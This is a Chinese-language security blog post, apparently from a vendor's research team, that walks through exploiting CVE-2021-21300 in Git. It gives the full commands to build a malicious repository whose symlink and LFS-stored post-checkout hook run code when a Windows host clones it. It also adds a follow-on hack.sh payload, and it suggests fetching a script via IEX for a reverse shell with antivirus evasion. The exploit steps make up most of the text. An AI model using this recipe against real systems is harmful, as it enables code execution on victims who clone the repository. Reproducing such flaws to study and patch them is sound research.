技术分享 | Git-RCE:CVE-2021-21300
导语:本文由锦行科技的安全研究团队提供,从攻击者的角度还原了Git-RCE的渗透过程。
git多个版本中,对符号链接处理不严格。在大小写敏感(例如Linux)的文件系统上传文件到git后,使用大小写不敏感文件系统(例如Windows)的主机克隆恶意仓库时可能导致远程命令执行。
本文由锦行科技的安全研究团队提供,从攻击者的角度还原了Git-RCE的渗透过程。
触发条件:
· 仓库中存在同名的链接符号和目录
· 符号链接指向特殊目录(目前看来是.git/hooks)
· 受害机需要有足够权限执行恶意命令
01复现
01 环境准备
①仓库准备:
系统:ubuntux64
需安装 git、git-lfs
执行 git lfs install命令可能会报错
Error: Failed to call git rev-parse --git-dir: exit status 128
可以忽略
出现Git LFS initialized.即完成安装
②受害机:
系统:win10x64
git for window:Git-2.17.1-64-bit
(https://www.npackd.org/p/git64/2.17.1.2)
git for window 的安装全为默认即可
02 恶意仓库准备
①在github新建仓库:
网上相应教程很多,不赘述
②在ubuntu构建恶意仓库并上传到github:
执行命令如下
$ git init delayed-checkout $ cd delayed-checkout && echo "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes && mkdir A && printf '#!/bin/sh\n\necho PWNED >&2\n'>A/post-checkout && chmod +x A/post-checkout && >A/a && >A/b && git add -A && rm -rf A && ln -s .git/hooks a && git add a && git commit -m initial $ git branch -M main $ git remote add origin [自己的仓库地址] $ git push -u origin main
查看github仓库,校验各文件内容是否正确,需如下显示:
· gitattributes
· a(软链接)
· A/post-checkout(存储在Git LFS中)
03 攻击测试
在win10提供的powershell(管理员)中执行命令如下:
> git clone -c core.symlinks=true [自己的仓库地址]
clone后出现 PWNED 即为远程命令执行成功
可见,在clone时,执行了post-checkout文件中的命令。
思路是使用IEX下载脚本,然后通过kali监听获取shell,但大多数脚本都会被识别阻止,通过免杀绕过应该能够实现。
04 扩展利用
在目录中添加脚本文件hack.sh
内容如下
#!/bin/sh ################# echo "script working..." && cd / && pwd && mkdir hack cd hack && touch hacked && echo "you has been hacked">hacked && echo "done!"
修改post-checkout中执行的命令以执行脚本
printf '#!/bin/sh\n\necho PWNED\n\n./hack.sh >&2\n'>A/post-checkout
受害机演示:
在受害机中拉取恶意仓库,可见脚本执行成功
02 复现中遇到的问题
以下列举在git中可能会存在的各种玄学错误:
01git的链接错误
如下错误
Failed to connect to github.com port 443: Connection refused
destination path 'CVE-2021-21300' already exists and is not an empty directory
解决方法:
· 可以使用代理或者更换代理节点
· 稍等一段时间后重试
如下错误:
fatal: destination path 'CVE-2021-21300' already exists and is not an empty directory.
解决方法:
重新clone需要删除原有文件
如下错误:
error: unable to create file A/post-checkout: No such file or directory
fatal: unable to checkout working tree
warning: Clone succeeded, but checkout failed.
You can inspect what was checked out with 'git status'
and retry the checkout with 'git checkout -f HEAD'
解决方法:
clone时需要添加参数 -c core.symlinks=true 开启git对符号链接的支持
解决方法:
在构造恶意仓库时发生错误,重新检查各需要检查的文件内容是否正确,软链接是否正确
解决方法:
检查恶意仓库中的lfs文件是否正确存储到Git Lfs上
References
https://www.openwall.com/lists/oss-security/2021/03/09/3
https://github.com/Maskhe/CVE-2021-21300
发表评论